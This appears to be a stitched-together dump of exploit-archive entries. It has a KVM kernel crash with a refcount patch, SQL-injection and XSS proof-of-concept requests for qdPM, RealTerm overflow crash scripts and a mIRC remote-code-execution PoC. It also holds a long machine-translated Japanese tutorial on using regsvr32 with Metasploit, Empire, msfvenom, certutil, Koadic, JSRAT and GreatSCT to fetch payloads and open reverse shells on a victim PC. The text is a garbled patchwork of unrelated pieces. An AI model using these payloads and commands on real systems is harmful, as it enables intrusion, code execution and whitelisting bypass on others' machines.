[ 251.061455] Oops: 0002 [#1] SMP
[ 251.062661] Modules linked in: ipt_MASQUERADE nf_nat_masquerade_ipv4 nf_conntrack_netlink nfnetlink xfrm_user xfrm_algo iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 xt_addrtype iptable_filter xt_conntrack nf_nat nf_conntrack br_netfilter bridge stp llc aufs(O) overlay snd_hda_codec_generic kvm_intel snd_hda_intel qxl kvm ttm irqbypass crct10dif_pclmul crc32_pclmul ghash_clmulni_intel drm_kms_helper snd_hda_codec snd_hda_core joydev virtio_balloon snd_hwdep evdev sg snd_pcm 9pnet_virtio serio_raw snd_timer snd button virtio_console binfmt_misc soundcore pcspkr drm 9p 9pnet fscache ip_tables x_tables autofs4 ext4 crc16 jbd2 fscrypto ecb mbcache btrfs crc32c_generic xor hid_generic usbhid hid raid6_pq sr_mod cdrom ata_generic virtio_blk virtio_net crc32c_intel ata_piix aesni_intel uhci_hcd
[ 251.085764] ehci_pci aes_x86_64 ehci_hcd glue_helper libata lrw gf128mul ablk_helper psmouse i2c_piix4 cryptd virtio_pci usbcore virtio_ring usb_common scsi_mod virtio floppy
[ 251.090094] CPU: 4 PID: 6392 Comm: kvm_fd_install Tainted: G O 4.9.0-8-amd64 #1 Debian 4.9.130-2
[ 251.092751] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014
[ 251.094947] task: ffff949b676f10c0 task.stack: ffffb79691840000
[ 251.096524] RIP: 0010:[<ffffffff95a1695b>] [<ffffffff95a1695b>] down_write+0x1b/0x40
[ 251.098605] RSP: 0018:ffffb79691843bf0 EFLAGS: 00010246
[ 251.100029] RAX: 00000000000000a8 RBX: 00000000000000a8 RCX: ffffb79691843c28
[ 251.101904] RDX: ffffffff00000001 RSI: 0000000000000286 RDI: 00000000000000a8
[ 251.103786] RBP: ffff949b4650b1d8 R08: 0000000000000000 R09: 0000000000000000
[ 251.105659] R10: ffff949b66a84510 R11: ffffdb9787f9bf80 R12: ffff949b4650b220
[ 251.107556] R13: ffff949b4650b180 R14: ffffffff96310034 R15: ffff949b4650b180
[ 251.109423] FS: 0000000000000000(0000) GS:ffff949b73d00000(0000) knlGS:0000000000000000
[ 251.111560] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 251.113081] CR2: 00000000000000a8 CR3: 00000001cf808000 CR4: 0000000000360670
[ 251.114956] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 251.116847] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[ 251.118718] Stack:
[ 251.119277] ffff949b67cc0000 ffffffff956933f1 ffffb79691843c00 ffff949b67cc0000
[ 251.122232] ffff949b67cc0000 ffff949b69ce4b68 ffff949b6a624060 ffff949b693cd740
[ 251.124294] ffff949b69ce4b68 ffffffffc07410b2 ffff949b67cc0000 0000000000000008
[ 251.126345] Call Trace:
[ 251.127015] [<ffffffff956933f1>] ? debugfs_remove_recursive+0x51/0x1c0
[ 251.128780] [<ffffffffc07410b2>] ? kvm_put_kvm+0x32/0x1d0 [kvm]
[ 251.130366] [<ffffffffc07412bd>] ? kvm_vm_release+0x1d/0x30 [kvm]
[ 251.132000] [<ffffffff9560cfb8>] ? __fput+0xd8/0x220
[ 251.133327] [<ffffffff95498a5f>] ? task_work_run+0x7f/0xa0
[ 251.134790] [<ffffffff9547ed15>] ? do_exit+0x2d5/0xaf0
[ 251.136163] [<ffffffff9547f5aa>] ? do_group_exit+0x3a/0xa0
[ 251.137618] [<ffffffff9548a5f9>] ? get_signal+0x299/0x640
[ 251.139056] [<ffffffff95426476>] ? do_signal+0x36/0x6a0
[ 251.140458] [<ffffffffc075ca25>] ? kvm_arch_hardware_disable+0x15/0x40 [kvm]
[ 251.142324] [<ffffffff9560d05d>] ? __fput+0x17d/0x220
[ 251.143687] [<ffffffff95498a64>] ? task_work_run+0x84/0xa0
[ 251.145156] [<ffffffff95403721>] ? exit_to_usermode_loop+0x71/0xb0
[ 251.146794] [<ffffffff95403bcd>] ? do_syscall_64+0xdd/0xf0
[ 251.148261] [<ffffffff95a18f8e>] ? entry_SYSCALL_64_after_swapgs+0x58/0xc6
[ 251.150074] Code: 01 74 08 48 c7 43 20 01 00 00 00 5b c3 0f 1f 00 0f 1f 44 00 00 53 48 89 fb e8 b2 df ff ff 48 ba 01 00 00 00 ff ff ff ff 48 89 d8 <f0> 48 0f c1 10 85 d2 74 05 e8 17 be d2 ff 65 48 8b 04 25 c0 fb
[ 251.157011] RIP [<ffffffff95a1695b>] down_write+0x1b/0x40
[ 251.158480] RSP <ffffb79691843bf0>
[ 251.159418] CR2: 00000000000000a8
[ 251.160300] ---[ end trace b3803036d037ea83 ]---
[ 251.161513] Fixing recursive fault but reboot is needed!
=================================
I have requested a CVE identifier from MITRE, but haven't heard back yet.
I am attaching a suggested patch; here's an inline copy for review (with
clobbered whitespace):
===========================================
From 7396c501baf3f066c05a74c790775c2c686be8a7 Mon Sep 17 00:00:00 2001
From: Jann Horn <jannh@google.com>
Date: Sat, 26 Jan 2019 01:19:40 +0100
Subject: [PATCH] kvm: fix temporary refcount drop in kvm_ioctl_create_device()
As soon as we call anon_inode_getfd(), userspace can close the device,
causing a kvm_put_kvm() call that drops a reference. This means that we
need to grab a reference for the device before anon_inode_getfd(),
otherwise the VM can disappear from under us.
Fixes: 852b6d57dc7f ("kvm: add device control API")
Cc: stable@kernel.org
Signed-off-by: Jann Horn <jannh@google.com>
---
virt/kvm/kvm_main.c | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/virt/kvm/kvm_main.c b/virt/kvm/kvm_main.c
index 5ecea812cb6a..585845203db8 100644
--- a/virt/kvm/kvm_main.c
+++ b/virt/kvm/kvm_main.c
@@ -3000,8 +3000,10 @@ static int kvm_ioctl_create_device(struct kvm *kvm,
if (ops->init)
ops->init(dev);
+ kvm_get_kvm(kvm);
ret = anon_inode_getfd(ops->name, &kvm_device_fops, dev, O_RDWR | O_CLOEXEC);
if (ret < 0) {
+ kvm_put_kvm(kvm);
mutex_lock(&kvm->lock);
list_del(&dev->vm_node);
mutex_unlock(&kvm->lock);
@@ -3009,7 +3011,6 @@ static int kvm_ioctl_create_device(struct kvm *kvm,
return ret;
}
- kvm_get_kvm(kvm);
cd->fd = ret;
return 0;
}
--
2.20.1.495.gaa96b0ce6b-goog
===========================================
===========================================================================================
# Exploit Title: qdPM 9.1 - 'search_by_extrafields[]' SQL Injection
# Date: 14-02-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: http://qdpm.net
# Software Link: http://qdpm.net/download-qdpm-free-project-management
# Version: v9.1
# Category: Webapps
# Tested on: Wamp64, @Win
# Software description:
Free project management tool for small team
qdPM is a free web-based project management tool suitable for a
small team working on multiple projects.
It is fully configurable. You can easy manage Projects, Tasks and
People. Customers interact
using a Ticket System that is integrated into Task management.
===========================================================================================
# POC - SQLi
# Parameters : search_by_extrafields[]
# Attack Pattern : URL encoded POST input search_by_extrafields[] was set to \
Error message found : You have an error in your SQL syntax
# POST Request: http://localhost/qdpm/index.php/users
===========================================================================================
POST /qdpm/index.php/users HTTP/1.1
Content-Length: 45
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/qdPM/
Cookie: qdPM8=se4u27u8rbs04mo61f138b5k3d; sidebar_closed=1
Host: localhost
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21
(KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
search[keywords]=&search_by_extrafields[]=%5c
# -*- coding: utf-8 -*-
# Exploit Title: RealTerm: Serial Terminal 2.0.0.70 - 'Port' Denial of Service (PoC)
# Date: 15/02/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://realterm.sourceforge.io/
# Software Link: https://sourceforge.net/projects/realterm/files/
# Version: 2.0.0.70
# Tested on: Windows 10
# Proof of Concept:
# 1.- Run the python script "RealTerm.py", it will create a new file "PoC.txt"
# 2.- Copy the content of the new file 'PoC.txt' to clipboard
# 3.- Open realterm.exe
# 4.- Go to 'Port' tab
# 5.- Paste clipboard in 'Port' field
# 6.- Click on button -> open
# 7.- Crashed
buffer = "\x41" * 1000
f = open ("PoC.txt", "w")
f.write(buffer)
f.close()
0x00 regsvrの紹介
regsvr32は、Microsoft登録サービスを意味します。これは、Windowsのコマンドラインユーティリティです。 regsvr32は問題を引き起こすことがありますが、Windowsシステムファイルの重要なファイルです。このファイルは、C: \\ Windowsのサブフォルダーにあります。ファイルは、他のプログラムの表示、追跡、影響を受けることができます。それは.exeであり、そのプロセスがOLE(オブジェクトリンクと埋め込み)、DLL(データリンクライブラリ)、およびOCX(ActiveXコントロールモジュール)で広く使用されているため、Windowsファイル拡張機能にプログラムを登録および登録するために主に使用されます。上記のプロセスはバックグラウンドで実行され、タスクマネージャーを通じて見ることができます。これは、Microsoftの信頼できるドキュメントの1つです。
0x01 regsvr run
REGSVR32にDLLファイルを登録すると、REGSVR32に関連付けられたプログラムに関する情報がWindowsに追加されます。次に、これらのプロセス視聴者にアクセスして、プログラムデータがどこにあるか、プログラムデータとの対話方法を理解します。 DLLファイルを登録すると、Windowsが使用できるように情報がディレクトリに追加されます。これらのファイルへのパス全体に文字通り実行可能コードがあるため、Windowsは特定の機能を呼び出すことができます。これらのファイルは、ソフトウェアが更新されると、これらのファイルが更新されたバージョンを自動的に呼び出すため、非常に便利です。要するに、ソフトウェアのバージョンの問題を回避するのに役立ちます。通常、このファイルは、DLLファイルの登録と登録を除いて使用することはあまりありません。
regsvr32.exeには、次のコマンドラインオプションがあります。
構文:regsvr32 [/s] [/u] [/n] [/i [:cmdline]] dllname
/u -Unregister server/i -dllinstallを呼び出してオプション[cmdline]を渡す。 /uで使用する場合は、dll uninstall /nを呼び出します - dllregisterserverを呼び出しないでください。このオプションは /i /sで使用する必要があります。メッセージボックスを表示しないでください
詳細については、https://support.microsoft.com/en-us/help/249873/how-to-use-the-regsvr32-tool-and-troubleshoot-regsvr32-error-messagesをご覧ください
0x02 regsvr
を攻撃するさまざまな方法Web配信
帝国
マニュアル
msfvenom
Koadic
jsrat
greatsct
1。最初の方法:Web配信
このモジュールは、ペイロードを提供するWebサーバーをすばやく起動できます。提供されたコマンドは、ペイロードのダウンロードと実行を可能にします。指定されたスクリプト言語パーサーまたはregSVR32を介してShofiblyDooテクノロジーを使用することにより、アプリケーションホワイトリストをバイパスします。このモジュールの主な目的は、攻撃者が手動でコマンドを入力する必要がある場合(コマンドインジェクションなど)、ターゲットコンピューターでのコマンドインジェクションなどのセッション:をすばやく確立することです。
regsvr32は、sefiblydooテクノロジーを使用して、アプリケーションホワイトリストをバイパスします。署名されたMicrosoftバイナリファイルregsvr32は、sctファイルを実行し、その中に含まれるPowerShellコマンドを実行することができます。両方のWeb要求(つまり、sctファイルとPowerShellのダウンロード/実行)は、同じポートで実行できます。 「PSH(Binary)」はファイルをハードディスクに書き込み、カスタムバイナリファイルをダウンロードして実行できるようにします。
Exploit/Multi/Script/Web_Deliveryを使用します
MSF Exploit(web_delivery)ターゲットを設定3
MSF Exploit(web_delivery)ペイロードphp/meterpreter/reverse_tcpを設定します
MSF Exploit(web_delivery)set lhost 192.168.1.109
MSF Exploit(web_delivery)SET SRVHOST 192.168.1.109
MSFエクスプロイト(web_delivery)exploit
次の図で強調表示されているコードをコピーします。
そのエクスプロイトが実行されると、URLが作成されます。次のように、被害者PCのコマンドプロンプトでURLを実行します。
regsvr32 /s /n /u /i:http://192.168.1.109:8080/xo31jt5dif.sct scrobj.dll
コマンドが実行された後にEnterを押すと、セッションがあります。下の図に示すように、sysinfoコマンドを入力して、ホスト情報を取得します。
2。 2番目の方法:Powershell Empire
次のREGSVR攻撃方法では、帝国を使用します。帝国は開発後のフレームワークです。これまでのところ、SCTタグをMetasploitと一致させる必要がありますが、この方法ではEmpire Frameworkを使用します。これは単なるPythonベースのPowerShell Windowsプロキシであり、非常に便利です。 Empireは、 @harmj0y、 @sixdub、 @enigam0x3、rvrsh3ll、 @killswitch_gui、@xorrierによって開発されています。このフレームワークはhttps://github.com/empireproject/empireからダウンロードできます。
帝国の基本ガイドについて学ぶには、記事帝国の紹介をご覧ください:https://www.hackingarticles.in/hacking-with-empire-post-extraction-agent/
Empire Frameworkを開始した後、リスナーを入力して、アクティブなリスナーがいるかどうかを確認します。下の図に示すように、アクティブなリスナーはありません。リスナーを設定するには、次のコマンドを入力してください。
USELISTNER HTTP
ホストhttp://192.168.1.109を設定します
実行する
上記のコマンドを使用すると、アクティブなリスナーが表示されます。入力してリスナーを終了してPowerShellを開始します。
リスナーが切断されたら、エクスプロイトを使用して悪意のあるファイルを作成する必要があります。帝国のStagerは、悪意のあるコードが感染したホストのプロキシを実行できるようにするコードのスニペットです。これは、エクスプロイトを作成するためには、ステージャーを使用する必要があることを意味します。したがって、次のコマンドを入力してください。
UseStager Windows/Launcher_Sct
リスナーhttpを設定します
実行する
コマンドを実行した後、UseStagerは /TMPでLauncher.sctを作成します。次に、セッションを取得するには、次のコマンドを入力してPythonサーバーを開始します。
python -m simplehttpserver 8080
サーバーが起動すると、残りの唯一のステップは、被害者のPCでマルウェアを実行することです。これを行うには、コマンドプロンプトに次のコマンドを入力してください。
regsvr /s /n /u /i:http://192.168.1.109:8080/tmp/launcher.sct scrobj.dll
上記のコマンドでは、Pythonサーバーが同じポートでアクティブ化されているため、ポート8080を使用しました
指示に従って、セッションを受け取ります。セッションにアクセスするには、次のコマンドを入力します。
9ATUX4M7を操作します
9ATUX4M7:プロキシ/セッション名です。これはセッションによって異なります。
3。 3番目の方法:PowerShellコードをSCTファイルに注入します(手動方法)
次の方法は、エクスプロイトで作成されます。使用するエクスプロイトは、PowerShellコードの作成に役立ちます。最初にPowerShellを作成し、Kaliとターミナルに移動してコマンドを入力します。
このエクスプロイトを実行した後、次の画像に示すように、端子画面にPowerShellコードが表示されます。
Exploit/Multi/Script/Web_Deliveryを使用します
MSF Exploit(web_delivery)ターゲットを設定します2
MSF Exploit(web_delivery)Payload Windows/MeterPreter/Reverse_tcpを設定します
MSF Exploit(web_delivery)set lhost 192.168.1.109
MSF Exploit(web_delivery)SET SRVHOST 192.168.1.109
MSFエクスプロイト(web_delivery)exploit
以下に強調表示されたテキストコードをコピーします
regsvr32は、WindowsレジストリのDLLSやActiveXコントロールなど、OLEコントロールをレジスタおよび登録するコマンドラインユーティリティです。 regsvr32.exeは、Windows XP以降の%SystemRoot%\ System32フォルダーにインストールされます。
次に、攻撃を実行できるように.SCTファイルを作成する必要があります。sctファイルを作成するためのオンラインスクリプトを見つけました。ここをクリックして、スクリプトへのリンクにアクセスできます。スクリプトを以下の図に示します:
Web配信によって作成されたPowerShellコードをコピーして、下の画像に示すように「Calc.exe」を表示するスクリプトに貼り付けて、SCT拡張機能で保存します。
次に、アピールのように、次のコマンドを実行して、regsvr32.exeを使用して被害者のPCで.SCTファイルを実行します。
regsvr32/u/n/s/i:http://192.168.1.109/1.SCT SCROBJ.DLL
上記のコマンドが実行されたら、web_interactionを介して会話をすることができます。システムに関する基本情報のセッションタイプ「セッション1」と「情報」にアクセスするには。
4。 4番目の方法:msfvenom
次の方法は、MSFvenomを使用することです。このアプローチを使用すると、2つの.SCTファイルを作成します。1つはマルウェアをダウンロードし、もう1つは実行するために実行します。しかし、最初に、MSFvenomから始めましょう。このタイプについては、次のコマンドを入力してください。
MSFVENOM -P Windows/MeterPreter/Reverse_TCP LHOST=192.168.1.109 LPORT=1234 -f EXE SHELL.EXE
次のコマンドでPythonサーバーを起動します。
python -m simplehttpserver 80
一方、前の方法で使用されている同じスクリプトで、Certutil.exeコマンドを挿入して、リモートサーバーからshell.exeファイルを呼び出します。したがって、「calc.exe」を使用して以下を書き込み、sct拡張子でファイルを再度保存しないでください。
certutil.exe -urlcache -split -f http://192.168.1.109/shell.exe
Windowsのファイルをダウンロードし、ファイルを3.SCTとして保存できるため、ここでcertutilを使用しました。
次に、次のコマンドで上記のスクリプトを実行します。
regsvr32 /u /n /s /i:http;//192.168.1.109/3.sct scrobj.dll
以前のファイル「shell.exe」を実行するための別のファイルを作成します。これを行うには、同じスクリプトをもう一度取り、「calc.exe」を書き込みます。したがって、次のコマンドを書きます。
CMD /K CD C: \ USERS \ RAJ SHELL.EXE
スクリプトを4.SCTとして保存し、次のコマンドでこのスクリプトを再度実行しました。
regsvr32 /u /n /s /i:http;//192.168.1.109/4.sct scrobj.dll
同時に、マルチプロセッサを開始してセッションを取得します。したがって、次のコマンドを入力してください。
Exploit/Multi/Handlerを使用します
MSF Exploit(Multi/Handler)Payload Windows/MeterPreter/Reverse_tcpを設定します
MSF Exploit(Multi/Handler)セットLHOST 192.168.1.109
MSF Exploit(Multi/Handler)Set LPort 1234
MSF Exploit(Multi/Handler)Exploit
被害者のホストでコマンドを実行した後、メータープレターセッションがあります
5。 5番目の方法:koadic
次の方法は、Koadicを使用することです。 Koadicは、MeterPreterやPowerShellempireなどの他の浸透試験ツールに似た後期開発のルートキットです。 Koadicの詳細については、以下のリンクを介して上記のフレームワークに関する詳細な記事をご覧ください:https://www.hackingarticles.in/koadic-command-control-framework
Koadicが稼働したら、次のコマンドを入力してください。
STAGER/JS/REGSVRを使用します
SRVHOST 192.168.1.107を設定します
走る
この後、被害者PCコマンドプロンプトに次のコマンドを入力してください。
regsvr32 /u /n /s /i:http;//192.168.1.107:9998/uwbjv scrobj.dll
上記のコマンドを実行した後、セッションがあります。セッションにアクセスするには、次のコマンドを入力します。
ゾンビ0
6。 6番目の方法:jsrat
regsvr32を攻撃する次の方法は、jsratを使用することです。Githubからダウンロードできます。これは、KoadicやPowershell Empireのように、rundll32.exeとregsvr32.exeの悪意のあるプログラムを生成するだけの非常に小さなコマンドおよび制御フレームワークです。 JSRATは、SCTファイルを見つけるWebサーバーを作成します。この方法を使用するには、次のコマンドを入力します。
./jsrat.py -i 192.168.1.107 -p 4444
上記のコマンドを実行すると、Webサーバーが開始されます。
以下に示すように、ブラウザでそれを開きます。ここでは、被害者のPCで実行するために必要な.SCTファイルがあります。
コマンドを取得したら、次の図に示すように、[実行]ウィンドウでコマンドを実行します。
コマンドウィンドウでコマンドを実行した後、示されているようにセッションがあります。
7。 7番目の方法:greatsct
GreatSCTは、Metasploit Exploitを使用できるツールであり、ほとんどのアンチウイルスをバイパスできるようにします。 GreatSCTは現在、@ConsciousHackerによってサポートされています。次のアドレスからダウンロードできます。
https://github.com/greatsct/greatsct
ダウンロードと実行後、次のコマンドを入力してモジュールにアクセスします。
バイパスを使用します
次に、「リスト」を入力してモジュールリストを取得します
モジュールリストは、次の図に示すように表示されます。
モジュールリストから次のオプションを選択します。
regsvr/shellcode_iject/base64_migrate.pyを使用します
生成する
上記のコマンドを完了したら、1を入力してmsfvenomを選択します
その後、ペイロードをお願いします。 Enterを押して、Windows/MeterPreter/Reverse_TCPをデフォルトのペイロードとして取得するだけです。これが必要なことです。この後、192.168.1.107と指定されたポート(ANY)を提供します。下の図に示すように、LPORTを2345に設定します。
詳細を述べた後、マルウェアに名前の名前を尋ねます。デフォルトでは、名前を「ペイロード」に設定して、名前を提供するか、Enterを押してデフォルトの設定を作成するだけです。
Enterを押すと、2つのファイルが生成されます。 1つはリソースファイル、もう1つは.sctファイルです
# Exploit Title: RCE on mIRC <7.55 using argument injection through custom URI protocol handlers
# Date: 18/02/2019
# Exploit Author: https://twitter.com/proofofcalc/
# Vendor Homepage: https://www.mirc.com
# Software Link: https://www.mirc.com/get.php
# Version: < 7.55
# Tested on: Windows
# CVE : CVE-2019-6453
RCE through URI protocol handlers on mIRC <7.55 (CVE-2019-6453)
===============================================================
Severity: High
mIRC has been shown to be vulnerable to argument injection through its
associated URI protocol handlers that improperly escape their parameters.
Usingavailable command-line parameters, an attacker is able to load a remote
configuration file and to automatically run arbitrary code.
Because mIRC doesn't use any kind of sigil such as -- to mark
the end of the argument list, an attacker is able to pass arguments to mIRC
through a irc:// link and execute arbitrary code by loading a custom
mirc.ini
from an attacker-controlled Samba file server. Please note that ircs://
works
the same way.
PoC
===
The proof of calc requires three files: mirc.ini, calc.ini and poc.html.
We assume a Samba file server is running on the attacker's side. For the
sake of the example, the following pieces of code assume it is running on
host 127.0.0.1 (i.e. replace 127.0.0.1 by your own server's address in
the following files to try this out).
mirc.ini
========
mirc.ini is a custom configuration file that should be located at
C:\mirc-poc\mirc.ini
on the file server.
[rfiles]
n2=\\127.0.0.1\C$\mirc-poc\calc.ini
calc.ini
========
calc.ini is a remote script file that should be located at
C:\mirc-poc\calc.ini on the
file server.
[script]
n0=on *:START: {
n1= /run calc.exe
n2=}
poc.html
========
Just visiting poc.html should work assuming mIRC is set as the default
handler for the
irc:// URI scheme and the browser does not encode the payload. Depending
on the browser
and your configuration, you might still get a prompt (not the case on
Firefox).
<iframe src='irc://? -i\\127.0.0.1\C$\mirc-poc\mirc.ini' />
Affected versions
=================
This PoC runs for mIRC <7.55.
You can trigger the PoC on Edge 42.17134 (last preview version) and
Firefox 64.0.2
(last release). It doesn't work on Chrome because the way Chrome handle
URI protocols
(URI is encoded before being passed to the application).
References
==========
Further explanation (including proof of concept code):
Write-up:
https://proofofcalc.com/cve-2019-6453-mIRC/
PoC:
https://github.com/proofofcalc/cve-2019-6453-poc
mIRC changelog:
https://www.mirc.com/whatsnew.txt
Authors
=======
Baptiste Devigne (Geluchat) and Benjamin Chetioui (SIben)
# -*- coding: utf-8 -*-
# Exploit Title: RealTerm: Serial Terminal 2.0.0.70 - 'Echo Port' Overflow Crash (SEH) (PoC)
# Date: 16/02/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://realterm.sourceforge.io/
# Software Link: https://sourceforge.net/projects/realterm/files/
# Version: 2.0.0.70
# Tested on: Windows 10 / Windows XP
# Proof of Concept:
# 1.- Run the python script "EchoPort.py", it will create a new file "EchoPort.txt"
# 2.- Copy the content of the new file 'EchoPort.txt' to clipboard
# 3.- Open realterm.exe
# 4.- Go to 'Echo Port' tab
# 5.- Paste clipboard in 'Port' field
# 6.- Click on button -> Change
# 7.- Check 'Echo On' or
# 8.- Crashed
# After the execution of POC, the SEH chain looks like this:
# 0012F57C 43434343
# 42424242 *** CORRUPT ENTRY ***
# And the Stack
#0012F568 41414141 AAAA
#0012F56C 41414141 AAAA
#0012F570 41414141 AAAA
#0012F574 41414141 AAAA
#0012F578 42424242 BBBB Pointer to next SEH record
#0012F57C 43434343 CCCC SE handler
buffer = "\x41" * 268
nseh = "\x42" * 4
seh = "\x43" * 4
f = open ("EchoPort.txt", "w")
f.write(buffer+nseh+seh)
f.close()
===========================================================================================
# Exploit Title: qdPM 9.1 - 'search[keywords]' XSS Injection
# CVE: CVE-2019-8390
# Date: 14-02-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: http://qdpm.net
# Software Link: http://qdpm.net/download-qdpm-free-project-management
# Version: v9.1
# Category: Webapps
# Tested on: Wamp64, @Win
# Software description:
Free project management tool for small team
qdPM is a free web-based project management tool suitable for a small
team working on multiple projects.
It is fully configurable. You can easy manage Projects, Tasks and People.
Customers interact
using a Ticket System that is integrated into Task management.
===========================================================================================
# POC - XSS
# Parameters : search[keywords]
# Attack Pattern : e"><script>zi2u(9111)</script>
# POST Request : http://localhost/qdpm/index.php/configuration
===========================================================================================
POST /qdpm/index.php/users HTTP/1.1
Content-Length: 73
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/qdPM/
Cookie: qdPM8=se4u27u8rbs04mo61f138b5k3d; sidebar_closed=1
Host: localhost
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML,
like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
search[keywords]=e"><script>zi2u(9111)</script>&search_by_extrafields[]=9